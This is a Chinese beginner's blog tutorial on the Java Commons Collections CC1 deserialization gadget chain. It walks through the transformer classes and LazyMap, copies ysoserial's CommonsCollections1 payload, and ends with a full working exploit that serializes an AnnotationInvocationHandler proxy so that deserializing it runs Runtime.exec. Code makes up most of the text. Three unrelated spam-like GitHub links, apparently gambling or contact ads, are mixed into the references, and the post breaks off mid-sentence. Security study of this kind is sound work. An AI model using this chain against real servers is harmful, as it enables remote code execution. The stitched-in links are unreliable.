基础入门java安全(一)--CC1基础分析

发布时间:2026/7/11 5:02:44
基础入门java安全(一)--CC1基础分析 纯萌新如有不当之处请各位师傅批评指正本文旨在记录一下cc1的学习过程尽可能使用通俗易懂的语言进行讲解不很了解java语言的可以使用以下提示词把这段代码当作我完全不会编程来解释逐行说明每行代码做了什么、为什么这样做以及整个程序的功能。用最通俗的语言不要跳过任何基础概念包括函数用法。先了解cc链是什么CC Commons Collections。The Apache Commons Collections package contains types that extend and augment the Java Collections Framework. —— 即扩展和增强 Java 集合框架的类型库由 Apache 软件基金会维护。CC1 指 Apache Commons Collections 库的第一个反序列化利用链后续还有 CC2~CC7 等多个变种。明确cc利用链的使用场景攻击者只能发送一个序列化对象让服务端反序列化。一、基础机制类1.java.lang.reflect.Method介绍:Java 反射核心类用于在运行时动态调用任意对象的任意方法。CC 链中几乎所有Runtime.exec()的调用都仰赖它——因为Runtime本身没有实现Serializable不能直接序列化必须通过反射在 readObject 侧动态获取。关键代码:// 获取 Runtime 类 Class? clazz Class.forName(java.lang.Runtime); // 获取 exec 方法 Method execMethod clazz.getMethod(exec, String.class); // 静态调用无 receiver Method getRuntimeMethod clazz.getMethod(getRuntime); Object runtime getRuntimeMethod.invoke(null); // Runtime.getRuntime() // 实例调用 execMethod.invoke(runtime, calc.exe);逻辑分析:Method对象本身实现了Serializable存的是方法签名反序列化时通过签名重新解析invoke接受两个参数方法所属对象 参数数组对于静态方法第一个参数传null反射是 CC 链的底层基础设施——InvokerTransformer内部封装的就是一次Method.invoke()听不懂没关系我们后面会再提到测试代码示例:import java.lang.reflect.Method; public class Test { public static void main(String[] args) throws Exception { Class? runtimeClass Class.forName(java.lang.Runtime); Method getRuntime runtimeClass.getMethod(getRuntime); Object runtime getRuntime.invoke(null); Method exec runtimeClass.getMethod(exec, String.class); exec.invoke(runtime, calc.exe); } } javac Test.java java Test二、核心Transformer类1.ConstantTransformer介绍:最简单的 Transformer 实现——transform()方法永远返回构造函数中传入的常量忽略输入参数。常用于 CC 链的第一个环节用来给后续InvokerTransformer提供目标对象如Runtime.class。关键代码:public class ConstantTransformer implements Transformer, Serializable { private final Object iConstant; public ConstantTransformer(Object constantToReturn) { this.iConstant constantToReturn; } public Object transform(Object input) { return iConstant; // ← 无论 input 是什么都返回固定值 } }逻辑分析:在 CC 链中第一个 transformer 通常是ConstantTransformer(Runtime.class)—— 不管输入是什么都返回Runtime.class对象这个Runtime.class会传给下一个InvokerTransformer(getMethod, ...)从而调用Class.getMethod(getRuntime)2.InvokerTransformer介绍:Transformer 接口的实现类并重写了其接口类的 transform 方法。其 transform 方法作用是反射调用指定的方法并返回方法调用结果。关键代码public class InvokerTransformer implements Transformer, Serializable { private final String iMethodName; private final Class?[] iParamTypes; private final Object[] iArgs; public InvokerTransformer(String methodName, Class?[] paramTypes, Object[] args) { //方法名、参数类型、参数 this.iMethodName methodName; this.iParamTypes paramTypes; this.iArgs args; } public Object transform(Object input) { if (input null) return null; Class? cls input.getClass(); //拿类名 Method method cls.getMethod(iMethodName, iParamTypes); //调用预先设置好的方法 return method.invoke(input, iArgs); // ← 反射调用 } }逻辑分析:核心逻辑input.getClass().getMethod(iMethodName, iParamTypes).invoke(input, iArgs)通过InvokerTransformer(exec, [String.class], [calc])→ 对 Runtime 实例调用exec(calc)利用代码示例:import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; public class Test { public static void main(String[] args) { Transformer transformer new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc}); transformer.transform(Runtime.getRuntime()); } }需要下载commons-collections-3.2.2.jar放在目录下不然会找不到所需类javac -cp commons-collections-3.2.2.jar Test.java java -cp .;commons-collections-3.2.2.jar Test3.ChainedTransformer介绍:将多个Transformer串联成一条执行链——transform(input)会依次调用每个Transformer前一个的输出作为后一个的输入。关键代码public class ChainedTransformer implements Transformer, Serializable { private final Transformer?, ?[] iTransformers; public ChainedTransformer(Transformer?, ?[] transformers) { this.iTransformers transformers; } public Object transform(Object object) { for(int i 0; i this.iTransformers.length; i) { object this.iTransformers[i].transform(object); } // ← 链式调用 return object; } }利用代码示例: 利用 ChainedTransformer 实现 Runtime.getRuntime().exec(calc) import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; public class Test { public static void main(String[] args) { Transformer[] transformers new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) }; ChainedTransformer chain new ChainedTransformer(transformers); // 触发整个链 chain.transform(任意输入); // → 打开计算器 } } javac -cp commons-collections-3.2.2.jar Test.java java -cp .;commons-collections-3.2.2.jar Test三、容器 / Map 触发类1.LazyMap用处很广泛据说。当一个 key 在 Map 中不存在时get(key)会调用预设的factory.transform(key)来生成 value然后将key-value放入Map并返回。重要的是其 get 方法会调用预先声明的类的transform方法我们可以借此触发ChainedTransformer的transform方法。LazyMap设计的初衷是当你在请求一个Map中某个key的值的时候如果key不存在LazyMap可以自动创建一个值放到Map里再返回。省去 if (null) 判断懒加载自动创建。就是个带默认值工厂的 Map。public class LazyMap extends AbstractMapDecorator { protected final Transformer factory; public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } public Object get(Object key) { if (!map.containsKey(key)) { // ← key 不存在时触发 Object value factory.transform(key); map.put(key, value); return value; } return map.get(key); } }逻辑分析:触发条件简单lazyMap.get(anyNewKey)→factory.transform(anyNewKey)利用代码示例:public class Test { public static void main(String[] args) { Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc}) }; Transformer chainedTransformer new ChainedTransformer(transformers); Map lazyMap LazyMap.decorate(new HashMap(), chainedTransformer); lazyMap.get(anything); } } javac -cp commons-collections-3.2.2.jar Test.java java -cp .;commons-collections-3.2.2.jar Test四、触发入口readObject 落地类1.AnnotationInvocationHandler介绍:CC1 和 CC3 链的反序列化入口类。它实现了InvocationHandler这个后面会再提到先记着有这么个东西 和Serializable自定义了readObject()方法。当反序列化时readObject()会遍历memberValues一个 Map沿途触发TransformedMap.setValue()或LazyMap.get()。设计初衷把注解的成员变量存在一个 MapString, Object 里memberValues通过动态代理把value()等方法调用映射成memberValues.get(value)。CC 链劫持的是它的 readObject() 方法——这个方法会遍历 memberValues 这个 Map而 CC 链把 memberValues 替换成了 TransformedMap 或 LazyMap遍历操作就触发了命令执行。关键代码:class AnnotationInvocationHandler implements InvocationHandler, Serializable { private final Class? extends Annotation type; private final MapString, Object memberValues; AnnotationInvocationHandler(Class? extends Annotation type, MapString, Object memberValues) { this.type type; this.memberValues memberValues; //memberValueslazymap } // readObject 反序列化时自动执行JDK ≤ 8u71入口 private void readObject(ObjectInputStream s) throws IOException { s.defaultReadObject(); // 遍历 memberValues 的 entrySet for (Map.EntryString, Object memberValue : memberValues.entrySet()) { String name memberValue.getKey(); Object value memberValue.getValue(); // 如果是 TransformedMap这里会触发 setValue 的回调 // 或者是 LazyMap 的 Proxy 场景触发 get() } } //利用 invoke 方法可实现调用 LazyMap#get public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { String methodName method.getName(); // 如果 memberValues 是 LazyMap // LazyMap.get(methodName) → key 不存在 → 触发链 return memberValues.get(methodName); } }cc1测试环境3.1-3.2.1 jdk版本小于u71https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/https://github.com/katarriski/poknml/blob/main/%E7%BD%91%E5%9D%80889.ga%E6%AC%A7%E5%8D%9A%E8%81%94%E7%B3%BB%E6%96%B9%E5%BC%8F3t.mdhttps://github.com/prabutuni/nmlajs/blob/main/%E7%BD%91%E5%9D%80889.ga%E6%AC%A7%E5%8D%9A%E5%AE%98%E6%96%B9APPS.mdhttps://github.com/prabutuni/nmlajs/blob/main/%E5%BE%AE%E4%BF%A15487663%E6%AC%A7%E5%8D%9A%E5%BC%80%E6%88%B7%E6%96%B9%E5%BC%8FT.mdpackage ysoserial.payloads; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */ SuppressWarnings({rawtypes, unchecked}) PayloadTest ( precondition isApplicableJavaVersion) Dependencies({commons-collections:commons-collections:3.1}) Authors({ Authors.FROHOFF }) public class CommonsCollections1 extends PayloadRunner implements ObjectPayloadInvocationHandler { public InvocationHandler getObject(final String command) throws Exception { final String[] execArgs new String[] { command }; // inert chain for setup final Transformer transformerChain new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[] { String.class, Class[].class }, new Object[] { getRuntime, new Class[0] }), new InvokerTransformer(invoke, new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer(exec, new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap new HashMap(); final Map lazyMap LazyMap.decorate(innerMap, transformerChain); final Map mapProxy Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, iTransformers, transformers); // arm with actual transformer chain return handler; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections1.class, args); } public static boolean isApplicableJavaVersion() { return JavaVersion.isAnnInvHUniversalMethodImpl(); } }完整调用链ObjectInputStream.readObject() → AnnotationInvocationHandler.readObject() → Proxy.entrySet() → AnnotationInvocationHandler.invoke() → LazyMap.get() → ChainedTransformer.transform() → InvokerTransformer.transform() → Runtime.exec()这里尝试一步步还原出cc1加深理解public class CommonsCollections1 { public static void main(String[] args) throws Exception { //1.构建Transformer链这也是我们最终目标 Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc}) }; //2.放进ChainedTransformer Transformer chainedTransformer new ChainedTransformer(transformers); //3.放进LazyMap Map uselessMap new HashMap(); Map lazyMap LazyMap.decorate(uselessMap,chainedTransformer);先实例化AnnotationInvocationHandler类但是由于他在sun.reflect.annotation.AnnotationInvocationHandler里不是public不能直接创建我们需要反射调用由于知道这个类的路径我们可以使用Class.forName(类的路径)来拿到这个类Class? clazz Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);拿到构造函数Constructor? constructor clazz.getDeclaredConstructor(Class.class, Map.class);允许调用私有构造方法constructor.setAccessible(true);然后我们创建对象并给他的构造方法传参InvocationHandler handler (InvocationHandler) constructor.newInstance(Override.class, lazyMap); // 这个 innerHandler 的 memberValues lazyMap // 以后谁调 innerHandler.invoke()里面就会调 lazyMap.get(方法名)这里用newInstance方法调用构造方法Override.class任意注释lazyMap是AnnotationInvocationHandler类接收的第二个参数也就是我们要用来触发get的目标我们要触发lazyMap的get方法看不懂就再回去看AnnotationInvocationHandler类介绍里的代码和注释然后我们就要创建要利用的代理对象Proxy类的newProxyInstance方法可以实现触发代理对象的任意方法都会默认变成触发第三个参数的invoke方法而我们要触发AnnotationInvocationHandler类的invoke方法第三个参数就应该是AnnotationInvocationHandler类目标让某个对象调用entrySet()时变成调lazyMap.get(entrySet)学习下Proxy类的newProxyInstance方法Proxy.newProxyInstance( 类加载器, 接口数组, 处理器 )三个参数分别选择LazyMap.class.getClassLoader()好像用任意类都可以LazyMap.class.getInterfaces()拿到lazymap的全部接口这个参数是用于告诉proxy代理对象要假装实现的方法LazyMap 的声明是 public class LazyMap extends AbstractMapDecorator implements Map, Serializable { 所以 LazyMap.class.getInterfaces() 返回的是 [Map.class, Serializable.class] 两个接口 - Map.class → 代理对象假装是 Map有 get(), entrySet() 等方法 - Serializable.class → 代理对象可以序列化handler这里是指向了我们之前创建的AnnotationInvocationHandler类这是第三个参数。Proxy 生成的假对象上任何人调它的任何方法包括AnnotationInvocationHandler中的entrySet()这也是我们利用的关键都不真的执行而是转给 handler 里的 invoke 方法统一处理而我们已经提前设置好memberValues lazyMap这样就成功调用了LazyMap的get()方法Map mapProxy (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);然后就是创建一个新的AnnotationInvocationHandler(名叫 handler1)把代理Map(mapProxy)传入作用是触发上面的newProxyInstance遍历 entrySet → 触发上面的 Proxy 拦截链InvocationHandler handler1 (InvocationHandler) constructor.newInstance(Override.class, mapProxy);最后加上序列化代码ByteArrayOutputStream baos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(baos); oos.writeObject(handler1); oos.flush(); oos.close();可以本地测试一下只需要加上反序列化代码ByteArrayInputStream bais new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois new ObjectInputStream(bais); ois.readObject(); ois.close();最终代码import java.lang.reflect.Constructor; import java.lang.reflect.Proxy; import java.io.ByteArrayOutputStream; import java.io.ByteArrayInputStream; import java.io.ObjectOutputStream; import java.io.ObjectInputStream; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; public class CommonsCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc}) }; Transformer chainedTransformer new ChainedTransformer(transformers); Map uselessMap new HashMap(); Map lazyMap LazyMap.decorate(uselessMap,chainedTransformer); Class? clazz Class.forName(sun.reflect.annotation.AnnotationInvocationHandler); Constructor? constructor clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler handler (InvocationHandler) constructor.newInstance(Override.class, lazyMap); Map mapProxy (Map) Proxy.newProxyInstance( LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler ); InvocationHandler handler1 (InvocationHandler) constructor.newInstance(Override.class, mapProxy); ByteArrayOutputStream baos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(baos); oos.writeObject(handler1); oos.flush(); oos.close(); ByteArrayInputStream bais new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois new ObjectInputStream(bais); ois.readObject(); ois.close(); } }本地验证的时候环境还又修改了一下最终